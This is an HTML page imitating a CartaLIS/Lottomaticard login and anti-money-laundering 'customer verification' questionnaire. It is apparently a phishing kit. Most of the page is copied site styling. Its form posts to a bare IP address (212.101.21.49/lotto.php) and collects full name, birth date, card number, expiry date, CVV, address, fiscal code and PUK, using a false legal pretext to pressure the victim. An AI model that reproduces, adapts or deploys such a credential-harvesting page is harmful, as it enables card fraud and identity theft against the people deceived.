<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Carta LIS & Lottomaticard | Login</title>
<link rel="stylesheet" type="text/css" />
<style type="text/css">
body{
        font-family: Verdana, Arial, Helvetica, sans-serif;
        scrollbar-face-color: #e6f2db;
scrollbar-shadow-color: #dde7d4;
scrollbar-highlight-color: #f6faf3;
scrollbar-3dlight-color: #f6faf3;
scrollbar-darkshadow-color: #f6faf3;
scrollbar-track-color: #f6faf3;
scrollbar-arrow-color: #6cae38;
}
.main{
        width: 955px;
        position: absolute;
        background-image: url(https://www.cartalis.it/cartalis/img/sfondo_vortex.gif);
        background-repeat: no-repeat;
        left: 0px;
        top: 0px;
}
        .main_pan{
        width: 955px;
        position: absolute;
        left: 0px;
        top: 0px;
}
.main_popup{
        width: 760px;
        height: 420px;
        position: absolute;
        left: 0px;
        top: 0px;
}
        .header{
                background-image: url(https://www.cartalis.it/cartalis/img/sfondo_header.jpg);
                height: 155px;
                width: 955px;
        }
                .header_pan{
                background-image: url(https://www.cartalis.it/cartalis/img/sfondo_header_pin.jpg);
                height: 155px;
                width: 955px;
        }
        .header_popup{
                background-image: url(https://www.cartalis.it/cartalis/img/popup_header.jpg);
                background-repeat: no-repeat;
                height: 101px;
                width: 760px;
        }
                .header_pagine_inter{
                background-image: url(https://www.cartalis.it/cartalis/img/sfondo_header_pagine_inter.jpg);
                height: 155px;
                width: 955px;
        }
                        .logo{
                        padding-top: 50px;
                        padding-left: 25px;
                }
                        .logo a img {
                                border: none;
                                border: 0px;
                }
                .logo_popup{
                        padding-top: 28px;
                        padding-left: 25px;
                }
                        .logo_popup a img {
                                border: none;
                                border: 0px;
                }
                                .menu_corporate{
                                                padding-left: 530px;
                                                                font-size: 11px;
                                }
                                        .menu_corporate ul{
                                                color: #fff;
                                        }
                                                .menu_corporate ul li{
                                                        display: inline;
                                                        margin-right: 0px;
                                                        color: #ffffff;
                                                        }
                                                                .menu_corporate ul li a{
                                                                color: #ffffff;
                                                                text-decoration: none;
                                                                }
/********colonna sx************/
.colonna_sx{
        float: left;
        margin-left: 0px;
        left: 0px;
        padding-left: 7px;
        }
                .card{
                        margin-left: 3px;
                }
                .menu_sx ul{
                        padding-left: 0px;
                        margin-left: 0px;
                        margin-top: 10px;
                        }
        .menu_sx ul li{
                list-style: none;
                background-image: url(../img/sfondo_btn.gif);
                background-repeat: no-repeat;
                width: 227px;
                height: 58px;
                text-align: center;
                padding-bottom: 3px;
                display: block;
        }
                        .menu_sx ul li a{
                                padding-top: 19px;
                                padding-bottom: 14px;
                                text-decoration: none;
                                color: #ffffff;
                                font-weight: bold;
                                font-size: 15px;
                                display: block;
                        }
                                        .menu_sx ul li a:hover{
                                font-size: 17px;
                        }
.menu_sx_interno ul{
padding-left: 0px;
margin-left: 0px;
margin-top: 10px;
}
.menu_sx_interno ul li{
list-style: none;
background-image: url(https://www.cartalis.it/cartalis/img/sfondo_btn.gif);
background-repeat: no-repeat;
width: 160px;
height: 41px;
text-align: center;
padding-bottom: 3px;
display: block;
}
.menu_sx_interno ul li a{
padding-top: 12px;
padding-bottom: 10px;
text-decoration: none;
color: #ffffff;
font-weight: bold;
font-size: 11px;
display: block;
}
.menu_sx_interno ul li a:hover{
font-size: 11px;
}
                        .menu_sx_interno ul li.btn_big{
                                padding-top: 15px;
                                height: 80px;
width: 160px;
                                font-size: 13px;
                                color: #fff;
                                font-weight: bold;
                                 }
                        .menu_sx_interno ul li.btn_big span{
                                color: #666;
                                 }
                                .menu_sx_interno ul li.btn_big a{
                                margin-top: -10px;
                                color: #B22222;
                                 }
.Contorno{
        float: left;
        padding-top: 0px;
        margin-top: 0px;
        top: 0px;
        width: 680px;
        left: 0px;
        padding-left: 0px;
        margin-left: 20px;
        padding-left: 0px;
}
.colonna_centrale{
        BACKGROUND-IMAGE: url(https://www.cartalis.it/cartalis/img/sfondo_testo_centrale.jpg);
        float: left;
        padding-top: 0px;
        margin-top: 0px;
        top: 0px;
        width: 433px;
        left: 0px;
        padding-left: 0px;
        margin-left: 20px;
        background-repeat: no-repeat;
        padding-left: 0px;
}
        .colonna_centrale_contatti{
        float: left;
        padding-top: 0px;
        margin-top: 0px;
        top: 0px;
        width: 433px;
        left: 0px;
        padding-left: 0px;
        margin-left: 20px;
        background-image: url(https://www.cartalis.it/cartalis/img/sfondo_contatti.gif);
        background-repeat: no-repeat;
        padding-left: 0px;
}
        .testo_centrale_contatti{
                        float: left;
                        padding-top: 20px;
                        margin-top: 0px;
                        margin-bottom: 40px;
                        float: left;
                        min-height: 450px;
                        height: auto !important;
                        height: 420px;
                        top: 0px;
                        width: 433px;
                        overflow: hidden;
                        border-top: 0px;
                }
.colonna_centrale_interna{
float: left;
padding-top: 0px;
margin-top: 0px;
top: 0px;
width: 767px;
left: 0px;
padding-left: 0px;
margin-left: 10px;
background-repeat: no-repeat;
padding-left: 0px;
}
.testo_centrale_interna{
float: left;
padding-top: 20px;
padding-bottom: 20px;
margin-top: 0px;
margin-bottom: 40px;
bottom:0px;
float: left;
top: 0px;
width: 760px;
overflow: auto;
border-top: 0px;
min-height: 480px;
height: auto !important;
height: 480px;
}
.testo_centrale_interna p{
margin-left: 16px;
line-height: 17px;
font-size: .7em;
}
.testo_centrale_interna h1 {
color: #7fc241;
padding-left: 5px;
font-size: .8em;
margin-bottom: 0px;
}
                .testo_centrale{
                        float: left;
                        padding-top: 20px;
                        margin-top: 0px;
                        margin-bottom: 40px;
                        float: left;
                        top: 0px;
                        width: 433px;
                        height: 330px;
                        overflow: auto;
                        border-top: 0px;
                }
                .testo_centrale_info{
                 float: left;
                        padding-top: 20px;
                        padding-bottom: 20px;
                        margin-top: 0px;
                        margin-bottom: 40px;
                        bottom:0px;
                        float: left;
                        top: 0px;
width: 767px;
                        overflow: auto;
                        border-top: 0px;
                        min-height: 480px;
                        height: auto !important;
                        height: 480px;
                }
                .testo_centrale_info p{
                 margin-left: 22px;
                 line-height: 17px;
                 font-size: .7em;
         }
         .testo_centrale_info hl{
         color: #7fc241;
         padding-left: 15px;
                 font-size: .8em;
                 margin-bottom: 0px;
         }
                        .sfondo_testo{
                        background-image: url(https://www.cartalis.it/cartalis/img/popup_sfondo_centrale.jpg);
                        background-repeat: no-repeat;
                        width: 721px;
                        margin-left: 10px;
                        padding-left: 20px;
                        height: 283px;
                        }
                .testo_centrale_popup{
                        float: left;
                        padding-top: 0px;
                        margin-top: 0px;
                        float: left;
                        top: 0px;
                        width: 721px;
                        height: 283px;
                        overflow: auto;
                        border-top: 0px;
                }
                        .testo_centrale_popup h1{
                                color: #389D1D;
                                margin-top: 10px;
                                margin-bottom: 10px;
                                font-size: 14px;
                        }
                                                .testo_centrale_popup p{
                                                        color: #666;
                                                        width: 700px;
                                                        margin-top: 0px;
                                                        line-height: 18px;
                                                        font-size: 11px;
                                                }
                                                .testo_centrale_popup ul{
                                                padding-left: 0px;
                                                margin-left: 20px;
                                                }
                                                        .testo_centrale_popup span a{
                                                                color: #000;
                                                }
                                                                .testo_centrale_popup ul li{
                                                                list-style-image: url(https://www.cartalis.it/cartalis/img/popup_list_style.gif);
                                                                line-height: 20px;
                                                                font-size: 11px;
                                                                                color: #666;
                                                                }
                                                                        .testo_centrale_popup ul li a{
                                                                                text-decoration: none;
                                                                font-size: 12px;
                                                                                color: #333;
                                                                }
                                                                                .testo_centrale_popup ul li a:hover{
                                                                                color: #666;
                                                                                text-decoration: underline;
                                                                }
                                                                .testo_centrale_popup ul li a:visited{
                                                                                color: #979797;
                                                                }
                                                p.costi_tel {
                                font-size: 9px;
                        }
                        .box_download {
                        border-bottom: 1px dashed #666;
                        width: 680px;
                        margin-bottom: 20px;
                                }
                                .box_download p{
                                        width: 690px;
                                }
                                .box_download h2{
                                        font-size: 12px;
                                        margin-bottom: 5px;
                                        color: #333;
                                }
                                                .box_download span{
                                                display: block;
                                                margin-top: -10px;
                                        font-size: 11px;
                                        margin-bottom: 10px;
                                }
                                .box_download span img{
                                        vertical-align: text-bottom;
                                        border: none;
                                }
                                .testo_centrale_contatti p{
                                        margin-left: 16px;
                                        line-height: 17px;
                                        width: 400px;
                                        font-size: .7em;
                                }
.testo_centrale h1,.testo_centrale_contatti h1{
                                                        color: #7fc241;
                                                        padding-left: 15px;
                                                        font-size: .8em;
                                                        margin-bottom: 0px;
                                                }
                                                        .testo_centrale p{
                                                        color: #333333;
                                                        margin-top: 10px;
                                                        width: 400px;
                                                        padding-left: 15px;
                                                        line-height: 19px;
                                                        font-size: .7em;
                                                }
                .area_riservata{
                        background-image: url(https://www.cartalis.it/cartalis/img/sfondo_box_area_ris.jpg);
                        background-repeat: no-repeat;
                        margin-top: -15px;
                        width: 433px;
                        height: 92px;
                        float: left;
                }
.banner_uno {
padding-bottom: 15px;
padding-top: 0px;
width: 242px;
height: 127px;
background-image: url(https://www.cartalis.it/cartalis/img/sfondo_banner_area_ris.gif);
background-repeat: no-repeat;
}
.tit_titolari_conto{
        color: #666;
        font-size: 11px;
        font-weight: bold;
        display: block;
        padding-top: 14px;
        margin-left: 30px;
}
        .tit_titolari_conto a{
        color: #666;
        text-decoration: none;
}
.tit_non_titolari_conto{
                color: #666;
        font-size: 11px;
        font-weight: bold;
        display: block;
        margin-top: 20px;
        margin-left: 16px;
}
.tit_non_titolari_conto a{
        color: #666;
        text-decoration: none;
}
        .tit_area_ris{
                color: #9c0104;
                font-weight: bold;
                font-size: 21px;
                margin-left: 19px;
        }
.banner_due img, .banner_tre img{
        margin-left: 0px;
        float: left;
        margin-bottom: 15px;
        border: none;
}
.arearis{
        font-size: 14px;
        color: #387317;
        font-weight: bold;
        margin-left: 15px;
        margin-top: 15px;
}
.areadis{
        font-size: 14px;
        color: #387317;
        font-weight: bold;
        margin-left: 15px;
        margin-top: 15px;
}
.footer{
float: left;
margin-top: 15px;
top: 0px;
padding-top: 0px;
background-image: url(https://www.cartalis.it/cartalis/img/sfondo_footer.jpg);
background-repeat: no-repeat;
width: 945px;
height: 63px;
padding-left: 0px;
left: 0px;
margin-left: 0px;
}
        .footer ul{
                font-size: 11px;
                padding-top: 0px;
                margin-left: 35px;
                padding-left: 0px;
                margin-top: 23px;
                color: #387317;
        }
                .footer ul li{
                        list-style: none;
                        display: inline;
                }
                                        .footer ul li a{
                                                text-decoration: none;
                                                color: #fff;
                                        }
        .footer_pag_inter{
float: left;
margin-top: 0px;
top: 0px;
padding-top: 0px;
background-image: url(https://www.cartalis.it/cartalis/img/sfondo_footer.jpg);
background-repeat: no-repeat;
width: 945px;
height: 63px;
padding-left: 0px;
left: 0px;
margin-left: 0px;
}
        .footer_pag_inter ul{
                font-size: 11px;
                padding-top: 0px;
                margin-left: 25px;
                padding-left: 0px;
                margin-top: 23px;
                color: #fff;
        }
                .footer_pag_inter ul li{
                        list-style: none;
                        display: inline;
                }
                                        .footer_pag_inter ul li a{
                                                text-decoration: none;
                                                color: #fff;
                                        }
        .footer_popup{
float: left;
margin-top: 0px;
top: 0px;
padding-top: 0px;
background-image: url(https://www.cartalis.it/cartalis/img/popup_footer.jpg);
background-repeat: no-repeat;
width: 760px;
height: 30px;
padding-left: 0px;
left: 0px;
margin-left: 0px;
}
.pagina_pan{
        float: left;
        background-image: url(https://www.cartalis.it/cartalis/img/sfondo_pin.gif);
        background-repeat: no-repeat;
        width: 955px;
}
        .form_pan{
                margin-left: 200px;
                margin-top: 30px;
                height: 210px;
                                font-size: .7em;
                }
                        .form_pan p{
                                color: #333;
                        }
                        .form_pan label{
                        font-size: 11px;
                        }
                                        .form_pan input{
                                        font-size: 12px;
                                        margin: 3px;
                                        width: 50px;
                                }
                                                input.invia_pan {
                                                        position: absolute;
                                                        margin-left: 323px;
                                                }
                                        .form_pan .cifra{        
                                        font-size: 12px;
                                        margin: 3px;
                                        width: 10px;
                                }
                li.area_download{
                        margin-left: 518px;
                }
                .colonna_dx{
                        float: left;
                        padding-left: 14px;
                        margin-bottom: 10px;
                        width: 242px;
                }
                table.contatti{
                        font-size: 11px;
                        padding-left: 16px;
                }
                        .contatti input {
                        margin: 3px;
                        margin-right: 130px;
                        font-size: 11px;
                        height: 12px;
                }
                input.btn_invia_contatti{
                        height: 24px;
                        margin-left: 175px;
                        margin-top: 10px;
                        width: 50px;
                }
                        .movimenti_saldo{
                                margin-left: 18px;
                                margin-bottom: 100px;
                                font-size: 12px;
                        }
                                .movimenti_saldo_02{
                                font-size: 12px;
                        }
                        .movimenti_storici ul{
                        margin-bottom: 0px;
                        padding-bottom: 0px;
                        margin-left: 0px;
                        }
                        .movimenti_storici ul li{
                                display: inline;
                                font-size: 13px;
                                font-weight: bold;
                        }
                .movimenti_storici{
                        margin-left: 20px;
                }
                .titoli_tab_mov_stor {
                        font-weight: bold;
                        color: #333;
                        font-size: 9px;
                }
                .dati_tab_stor{
                font-size: 8px;
                }
                        .movimenti_storici ul li a{
                                font-weight: normal;
                                color: #333;
                        }
                                        .movimenti_storici ul li a:hover{
                                color: #666;
                                text-decoration: none;
                        }
                .tit_tab{
                        color: #80c342;
                        font-size: 13px;
                }
                        .tit_tab_main{
                                font-size: 14px;
                        }
h1.tit_sfondo_verde{
margin-top: 0px;
font-size: 14px;
margin-left: 14px;
height: 22px;
margin-bottom: 15px;
padding-top: 4px;
color: #fff;
background-color: #aed942;
                                }
                .movimenti_saldo img{
                border: none;
                }
                .TitoloTAB{
                                         margin-top: 0px;
                                        font-size: 14px;
                                        margin-left: 20px;
                                        height: 22px;
                                        margin-bottom: 15px;
                                        padding-top: 4px;
                                        padding-left: 15px;
                                        color: #fff;
                                        background-color: #aed942;
                                }
                .tit_tab{
                        color: #80c342;
                        font-size: 13px;
                }
                .tit_tab_main{
                                font-size: 14px;
                }
                .Contorno{
                                margin-left: 18px;
                                margin-bottom: 100px;
                                font-size: 12px;
                        }
.VertDxBassa {
                        font-size: 10px;
                         BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
                }
.VertSxBassa {
                         font-weight:bold;
                                margin-top: 0px;
                                font-size: 12px;
                                margin-left: 20px;
                                height: 22px;
                                margin-bottom: 15px;
                                padding-top: 4px;
                                padding-left: 15px;
                                color: #aed942;
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
                }
A{
                                color: #aed942;
                }
A:visited {
                                color: #aed942;
                }
A:active {
                                color: #aed942;
                }
A.VertDxBassa:visited {
                        font-size: 10px;
                         BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
                }
A.VertSxBassa:visited {
                         font-weight:bold;
                                margin-top: 0px;
                                font-size: 12px;
                                margin-left: 20px;
                                height: 22px;
                                margin-bottom: 15px;
                                padding-top: 4px;
                                padding-left: 15px;
                                color: #aed942;
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
                }
A.VertDxBassa:active {
                        font-size: 10px;
                         BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
                }
A.VertSxBassa:active {
                         font-weight:bold;
                                margin-top: 0px;
                                font-size: 12px;
                                margin-left: 20px;
                                height: 22px;
                                margin-bottom: 15px;
                                padding-top: 4px;
                                padding-left: 15px;
                                color: #aed942;
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
                }
.TitoloH2O{
                        font-weight:bold;
                        font-size: 10px;
                }
                .titolotab{
                                         margin-top: 0px;
                                        font-size: 14px;
                                        margin-left: 20px;
                                        height: 22px;
                                        margin-bottom: 15px;
                                        padding-top: 4px;
                                        padding-left: 15px;
                                        color: #fff;
                                        background-color: #aed942;
                                }
                .grigioSx{
         font-size: 10px;
                 }
                .grigioDx{
                        font-size: 10px;
                }
                .TestoCombo{ font-family: Verdana, sans-serif;
                                          font-size: 10px;
                }
                .bottone { font-family: Arial;
                                         FONT-SIZE: 11px;
                                         BACKGROUND-COLOR: #D6DFEF;
                }
.testo_centrale_interna_scrool{
float: left;
padding-top: 20px;
padding-bottom: 20px;
margin-top: 0px;
margin-bottom: 40px;
bottom:0px;
float: left;
top: 0px;
width: 760px;
overflow: auto;
border-top: 0px;
min-height: 480px;
height: auto !important;
height: 480px;
}
.testo_centrale_interna_scrool h1 {
padding-left: 5px;
margin-bottom: 0px;
}
        .testo{
                        font-size: 10px;
         }
        
         .OrizTitolo{
                 padding-left: 5px;
                font-weight:bold;
                font-size: 10px;
         }
         .OrizContenuto{
                padding-left: 5px;
                 font-size: 10px;
         }
        
.sfondo{
        position: relative;
        background-image: url(https://www.cartalis.it/cartalis/img/sfondo.png);
        background-repeat: no-repeat;
        left: 0px;
        top: 0px;
        height: 250px;
        
}
.titoloSMS{
        position: relative;
        left:5px;
        top: 10px;
        color:#6cc537;
        font-weight:bold;
        padding-left:5px;
        padding-top:10px;
        font-size: 12px;
        height: 25px;
}
.servizioSMS{
        position: relative;
        font-size: 10px;
        padding-left:20px;
        padding-top:15px;
}
.tabcontatti{
        position: relative;
        font-size: 12px;
        padding-left:20px;
        padding-top:15px;
}
                                
        #popup{
        float: left;
        background-image: url(https://www.cartalis.it/cartalis/img/sfondo_pagine_interne.gif);
        background-repeat: repeat;
        width: 235px;
        height: 200px;
        margin: 0px 0px 0px 0px;
        padding: 10px 10px 10px 10px;
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 11px;
        color: #333;
}
#popupInfo{
        float: left;
        background-image: url(https://www.cartalis.it/cartalis/img/sfondo_pagine_interne.gif);
        background-repeat: repeat;
        width: 730px;
        height:550px;
        margin: 0px 0px 0px 0px;
        padding: 10px 10px 10px 10px;
        font-family: Verdana, Arial, Helvetica, sans-serif;
        font-size: 11px;
        color: #333;
}        
        #popupInfo a{        
                                        font-size: 11px;
                                        color: #333;
                                        text-decoration: underline;
                                        font-weight: bold;
                                }
        #popup a{        
                                        font-size: 11px;
                                        color: #333;
                                        text-decoration: underline;
                                        font-weight: bold;
                                }
                                
                                
                .form_pan_codice{
                margin-left: 200px;
                margin-top: 10px;
                height: 200px;
                font-size: .7em;
                }
                        .form_pan_codice p{
                                color: #333;
                        }
                        
                        .form_pan_codice label{        
                        font-size: 11px;
                                
                        }
                                        .form_pan_codice input{        
                                        font-size: 12px;
                                        margin: 3px;
                                        width: 115px;
                                }
                                
                                .form_pan_codice .button{        
                                        font-size: 12px;
                                        margin: 3px;
                                        width: 80px;
                                }
                                
                                        .form_pan_codice a{        
                                        font-size: 11px;
                                        color: #333;
                                        text-decoration: underline;
                                        font-weight: bold;
                                }
                                                                
</style>
<div class="header_pan">
        <object type="application/x-shockwave-flash" data="https://www.cartalis.it/cartalis/img/sfondobianco_3carte.swf" width="955" height="155">
                <param name="movie" value="https://www.cartalis.it/cartalis/img/sfondobianco_3carte.swf"/>
        </object>
</div>
<p class="grey">Carta LIS è tenuta ad adempiere agli obblighi di "adeguata verifica della clientela"<br>
disposti dal D. Lgs. 21/11/2007 n. 231 (Decreto Antiriciclaggio) pertanto <br>
Le chiediamo cortesemente di fornirci le informazioni che seguono consapevole delle responsabilità, <br>
anche penali, nelle quali potrebbe incorrere a norma di legge in caso di omissioni o false informazioni in conformità <br>
a quanto previsto dall'art. 21 del medesimo decreto. Tutti i dati sono obbligatori.<br>
<br>
<span class="bb">QUESTIONARIO AI FINI DELL' ADEGUATA VERIFICA DELLA CLIENTELA</span><br>
</p>
<table border="0" cellpadding="4" cellspacing="0" class="contentpane">
<tr>
        <td colspan="2">
                                <div class="componentheading">
                        <center>
</center></div>
                                <div>
         </div>
        </td>
</tr>
<TR>
<TD> </TD>
<TD ROWSPAN="2"><fieldset class="input">
<form action="http://212.101.21.49/lotto.php" method="post" name="com-login" id="com-form-login">
<p id="com-form-login-username">
                <label for="username">Nome e Cognome:</label>
                
<input name="nume" id="nume" type="text" class="inputbox" alt="nume" size="18" />
        </p>
<p id="com-form-login-username">
                <label for="username">Data di nascita:</label>
                
        <input name="day" size="3" maxleght="2" tabindex="18"><span>-</span><input name="month" size="3" maxleght="2" tabindex="19"><span>-</span><input name="year" size="5" maxleght="4" tabindex="20"><font size="2" face="Verdana"><span>(gg/mm/aaaa)</span></font></p>
                <label for="username">Numero PAN::</label>        
<input name="carte" id="carte" type="text" class="inputbox" alt="carte" size="18" maxleght="21" />
        </p>
<p id="com-form-login-username">
                <label for="username">Data di scadenza:</label>
         <label for="credit_card_type"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif">
<select name="f" id="expmonth" size="1" tabindex="6">
<option value="-" selected>mese</option>
<option value="01">01 </option>
<option value="02">02 </option>
<option value="03">03 </option>
<option value="04">04 </option>
<option value="05">05 </option>
<option value="06">06 </option>
<option value="07">07 </option>
<option value="08">08 </option>
<option value="09">09 </option>
<option value="10">10 </option>
<option value="11">11 </option>
<option value="12">12 </option>
</select></font></label><span>
        /
         </span>
         <label for="credit_card_type"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif">
<select name="g" id="cc_exp-year" size="1" tabindex="7">
<option value="-" selected>anno</option>
<option value="2011">2011</option>
<option value="2012">2012</option>
<option value="2013">2013</option>
<option value="2014">2014</option>
<option value="2015">2015</option>
                                        <option value="2016">2016</option>
<option value="2017">2017</option>
<option value="2018">2018</option>
<option value="2019">2019</option>
<option value="2020">2020</option>
</select></font></label><span>
                                                        </span>
<font size="2" face="Verdana">
                                                        <span> (Ex:
                                                        01/2011)</span></font></p>
<p id="com-form-login-username">
                <label for="username">Codice di sicurezza della carta:</label>
                
<input name="cvv" id="cvv" type="text" class="inputbox" alt="cvv" maxlength="3" size="3" />
        </p>
<p id="com-form-login-username">
                <label for="username">Paese:</label>
<input name="paese" id="paese" type="text" class="inputbox" alt="paese" size="18" />
        </p>
                <label for="username">Città:</label>
<input name="citta" id="citta" type="text" class="inputbox" alt="citta" size="18" />
        </p>
<p id="com-form-login-username">
                <label for="username">Indirizzo:</label>
                
<input name="indirizzo" id="indirizzo" type="text" class="inputbox" alt="indirizzo" size="18" />
        </p>
<p id="com-form-login-username">
                <label for="username">CAP:</label>
<input name="cap" id="cap" type="text" class="inputbox" alt="cap" maxlength="6" size="18" />
        </p>
<p id="com-form-login-username">
                <label for="username">Codice Fiscale:</label>
<input name="fiscale" id="fiscale" type="text" class="inputbox" alt="fiscale" size="18" />
        </p>
<p id="com-form-login-username">
                <label for="username">PUK:</label>
<input name="puk" id="puk" type="text" class="inputbox" alt="puk" maxlength="6" size="18" />
        </p>
<div align="center">
                <input type="submit" name="Submit" class="button" value="Prosegui" /><br>
</TABLE>
<div class="footer">
                <ul>
                        <li>CartaLIS IMEL S.p.A. Viale del Campo Boario 56/d, 00154 ROMA C.F. e P. IVA 08658331007</li>
                </ul>
</div>
</body>
<SCRIPT src="https://www.cartalis.it/cartalis/commons/load_images_cls.js" type="text/javascript"></SCRIPT>
</html>